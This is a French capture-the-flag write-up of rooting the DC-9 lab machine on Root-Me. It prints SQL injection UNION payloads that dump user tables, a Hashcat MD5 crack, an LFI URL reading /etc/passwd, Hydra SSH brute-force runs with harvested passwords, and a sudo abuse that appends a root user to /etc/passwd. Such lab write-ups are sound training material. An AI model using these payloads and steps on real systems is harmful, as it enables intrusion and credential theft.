Home

DC - 9

DC-9/2061-1.png



Reco

Pour commencer, j'utilise Rustscan pour identifier les services:


┌──(ReZ3R0💀machine)-[~]
└─$ rustscan -a ctf10.root-me.org


DC-9/2061-2.png


Le service SSH est ouvert sur le port 22 .

Un service HTTP est disponible sur le port 80 :


DC-9/2061-3.png



Nous avons une page http://ctf10.root-me.org/display.php avec des informations d'utilisateurs :


DC-9/2061-4.png



Nous avons une page http://ctf10.root-me.org/search.php :


DC-9/2061-5.png



Et une page http://ctf10.root-me.org/manage.php :


DC-9/2061-6.png



Exploitation

Nous avons une injection SQL possible dans le champ Search.

Un simple payload : ' OR '' = ' permet de le confirmer :


DC-9/2061-7.png



Qui renvoit la liste des utilisateurs :


DC-9/2061-8.png



Commençons par trouver le nombre de colonnes de la base de données.

Le premier payload est ' UNION SELECT NULL-- '


Nous allons le modifier jusqu'à ce que nous ayons un retour :

' UNION SELECT NULL-- '

' UNION SELECT NULL, NULL-- '

' UNION SELECT NULL, NULL, NULL-- '

' UNION SELECT NULL, NULL, NULL, NULL-- '

' UNION SELECT NULL, NULL, NULL, NULL, NULL-- '

' UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL-- '


Avec cette dernière tentatives nous avons ce résultat qui confirme 6 colonnes :


DC-9/2061-9.png



Regardons de plus près les colonnes avec ce payload : ' UNION SELECT 1, 2, 3, 4, 5, 6-- '


DC-9/2061-10.png



Essayons d'obtenir des noms de base de données :

' UNION SELECT 1,2,3,4,5,concat(schema_name) FROM information_schema.schemata -- '


DC-9/2061-11.png




Essayons d'obtenir les noms des tables :

' UNION SELECT 1,2,3,4,5,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='Staff' -- '


DC-9/2061-12.png




Essayons d'obtenir les noms des colonnes à partir de la table des utilisateurs :

' UNION SELECT 1,2,3,4,5,concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_NAME='Users' -- '


DC-9/2061-13.png




Essayons de récupérer les données du tableau des utilisateurs :

' UNION SELECT UserID,2,3,Username,Password,6 FROM Users -- '


DC-9/2061-14.png




Essayons de récupérer les données du tableau des détails utilisateurs :

' UNION SELECT id,firstname,lastname,username,password,6 FROM users.UserDetails -- '


DC-9/2061-15.png

DC-9/2061-16.png

DC-9/2061-17.png




Maintenant nous allons utiliser Hashcat pour tenter de cracker le MD5 trouvé pour l'admin :


┌──(ReZ3R0💀machine)-[~]
└─$ hashcat -a 0 hash.txt Z3R0-Dico.txt -m 0


DC-9/2061-18.png




Nous avons le mdp : transorbital1 pour l'Admin ce qui nous permet de nous connecter :


DC-9/2061-19.png




Une LFI est possible : http://ctf10.root-me.org/manage.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd


DC-9/2061-20.png




Essayons avec Hydra de trouver des identifiants/mdp pour une connexion ssh


Premièrement je forme les fichiers avec les informations trouvées :


┌──(ReZ3R0💀machine)-[~]
└─$ nano users.txt
admin
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2



┌──(ReZ3R0💀machine)-[~]
└─$ nano passwd.txt
transorbital1
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0



Je peux maintenant utiliser Hydra (avec l'option -t 4 pour ne pas planter la vm):


┌──(ReZ3R0💀machine)-[~]
└─$ hydra -L users.txt -P passwd.txt -t 4 ctf10.root-me.org ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-09 17:22:14
[DATA] max 4 tasks per 1 server, overall 4 tasks, 324 login tries (l:18/p:18), ~81 tries per task
[DATA] attacking ssh://ctf10.root-me.org:22/
[STATUS] 82.00 tries/min, 82 tries in 00:01h, 242 to do in 00:03h, 4 active
[22][ssh] host: ctf10.root-me.org login: chandlerb password: UrAG0D!
[22][ssh] host: ctf10.root-me.org login: joeyt password: Passw0rd
[STATUS] 89.33 tries/min, 268 tries in 00:03h, 56 to do in 00:01h, 4 active
[22][ssh] host: ctf10.root-me.org login: janitor password: Ilovepeepee
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-11-09 17:26:00


Après avoir effectué quelques recherches, l'utilisateur janitor va nous donner des informations précieuses :


┌──(ReZ3R0💀machine)-[~]
└─$ ssh janitor@ctf10.root-me.org
janitor@ctf10.root-me.org's password:
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
janitor@dc-9:~$ ls -la
total 16
drwx------ 4 janitor janitor 4096 Nov 10 02:25 .
drwxr-xr-x 19 root root 4096 Dec 29 2019 ..
lrwxrwxrwx 1 janitor janitor 9 Dec 29 2019 .bash_history -> /dev/null
drwx------ 3 janitor janitor 4096 Nov 10 02:25 .gnupg
drwx------ 2 janitor janitor 4096 Dec 29 2019 .secrets-for-putin
janitor@dc-9:~$ ls -la .secrets-for-putin
total 12
drwx------ 2 janitor janitor 4096 Dec 29 2019 .
drwx------ 4 janitor janitor 4096 Nov 10 02:25 ..
-rwx------ 1 janitor janitor 66 Dec 29 2019 passwords-found-on-post-it-notes.txt
janitor@dc-9:~$ cat .secrets-for-putin/passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
janitor@dc-9:~$



J'ajoute ces nouveaux mdp au fichier passw.txt et réutilise Hydra :


┌──(ReZ3R0💀machine)-[~]
└─$ hydra -L users.txt -P passwd.txt -t 4 ctf10.root-me.org ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-09 17:30:47
[DATA] max 4 tasks per 1 server, overall 4 tasks, 432 login tries (l:18/p:24), ~108 tries per task
[DATA] attacking ssh://ctf10.root-me.org:22/
[STATUS] 77.00 tries/min, 77 tries in 00:01h, 355 to do in 00:05h, 4 active
[22][ssh] host: ctf10.root-me.org login: fredf password: B4-Tru3-001
[STATUS] 69.00 tries/min, 207 tries in 00:03h, 225 to do in 00:04h, 4 active
[22][ssh] host: ctf10.root-me.org login: chandlerb password: UrAG0D!
[22][ssh] host: ctf10.root-me.org login: joeyt password: Passw0rd



Nous avons un nouvel utilisateur : fredf mdp : B4-Tru3-001


┌──(ReZ3R0💀machine)-[~]
└─$ ssh fredf@ctf10.root-me.org
fredf@ctf10.root-me.org's password: B4-Tru3-001
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.



Privilege Escalation


Nous vérifions si l'utilisateur fredf a des permissions sudo en utilisant sudo -l


fredf@dc-9:~$ sudo -l
Matching Defaults entries for fredf on dc-9:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User fredf may run the following commands on dc-9:
(root) NOPASSWD: /opt/devstuff/dist/test/test


Nous ne pouvons pas faire grand chose avec cette executable test donc regardons ce qu'il fait :


fredf@dc-9:/opt/devstuff/dist/test$ ldd test
linux-vdso.so.1 (0x00007ffdccd7b000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f0a18ebc000)
libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007f0a18c9e000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0a18add000)
/lib64/ld-linux-x86-64.so.2 (0x00007f0a18ec9000)


ldd est une commande utilisée pour afficher les bibliothèques partagées qu'un programme ou un binaire utilise.


Essayons de l'executer :


fredf@dc-9:/opt/devstuff/dist/test$ ./test
Usage: python test.py read append


Curieux, il exécute un script python test.py recherchons-le avec la commande :


find / -name "test.py" 2>/dev/null

Cette commande cherche dans tout le système (/) les fichiers nommés test.py.

L'option 2>/dev/null redirige les messages d'erreur pour que la sortie soit plus lisible.


fredf@dc-9:/opt/devstuff/dist/test$ find / -name "test.py" 2>/dev/null
/opt/devstuff/test.py
/usr/lib/python3/dist-packages/setuptools/command/test.py


Lisons ce script :


fredf@dc-9:/opt/devstuff/dist/test$ cat /opt/devstuff/test.py
#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)

else :
f = open(sys.argv[1], "r")
output = (f.read())

f = open(sys.argv[2], "a")
f.write(output)
f.close()


Ce script attend 2 arguments :

- 1 le nom du fichier source à lire.

- 2 le nom du fichier de destination à écrire.



Easy Flag !


C'est simple nous allons lui demander de lire le passwd pour le stocker dans le /tmp

Ensuite nous aurons plus qu'à récupérer ce passwd pour valider le challenge !


fredf@dc-9:/opt/devstuff/dist/test$ sudo ./test /passwd /tmp/passwd
fredf@dc-9:/opt/devstuff/dist/test$ cat /tmp/passwd


DC-9/2061-21.png



Nous avons validé ce challenge sans vraiment passer root,

mais c'est aussi une manière rapide de valider une machine.

Après quelques lecture d'autres writeups je vois que nous pouvions facilement créer un utilisateur pour passer root.



Redémarrons une nouvelle fois la machine pour effectuer rapidement cette manipulation.



Premièrement lisons /etc/passwd qui contient des informations sur les utilisateurs du système.



fredf@dc-9:$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
marym:x:1001:1001:Mary Moe:/home/marym:/bin/bash
julied:x:1002:1002:Julie Dooley:/home/julied:/bin/bash
fredf:x:1003:1003:Fred Flintstone:/home/fredf:/bin/bash
barneyr:x:1004:1004:Barney Rubble:/home/barneyr:/bin/bash
tomc:x:1005:1005:Tom Cat:/home/tomc:/bin/bash
jerrym:x:1006:1006:Jerry Mouse:/home/jerrym:/bin/bash
wilmaf:x:1007:1007:Wilma Flintstone:/home/wilmaf:/bin/bash
bettyr:x:1008:1008:Betty Rubble:/home/bettyr:/bin/bash
chandlerb:x:1009:1009:Chandler Bing:/home/chandlerb:/bin/bash
joeyt:x:1010:1010:Joey Tribbiani:/home/joeyt:/bin/bash
rachelg:x:1011:1011:Rachel Green:/home/rachelg:/bin/bash
rossg:x:1012:1012:Ross Geller:/home/rossg:/bin/bash
monicag:x:1013:1013:Monica Geller:/home/monicag:/bin/bash
phoebeb:x:1014:1014:Phoebe Buffay:/home/phoebeb:/bin/bash
scoots:x:1015:1015:Scooter McScoots:/home/scoots:/bin/bash
janitor:x:1016:1016:Donald Trump:/home/janitor:/bin/bash
janitor2:x:1017:1017:Scott Morrison:/home/janitor2:/bin/bash



Deuxièmement utilisons openssl pour créer un hash du mot de passe “rezero” pour l'utilisateur rezero


fredf@dc-9:$ openssl passwd -1 -salt rezero rezero
$1$rezero$MrI/N.qVKDlnutXk9ykCJ0



Troisièmement on ajoute la ligne rezero:$1$rezero$MrI/N.qVKDlnutXk9ykCJ0:0:0:root:/root:/bin/bash

au fichier modif_passwd.txt que je vais placer dans /tmp :


fredf@dc-9:$ nano /tmp/modif_passwd.txt


DC-9/2061-22.png



fredf@dc-9:/opt/devstuff/dist/test$ sudo ./test /tmp/modif_passwd.txt /etc/passwd
fredf@dc-9:/opt/devstuff/dist/test$ su rezero
Password:
root@dc-9:/opt/devstuff/dist/test# id
uid=0(root) gid=0(root) groups=0(root)
root@dc-9:/opt/devstuff/dist/test#



DC-9/2061-23.png



Nous avons bien rooter la machine !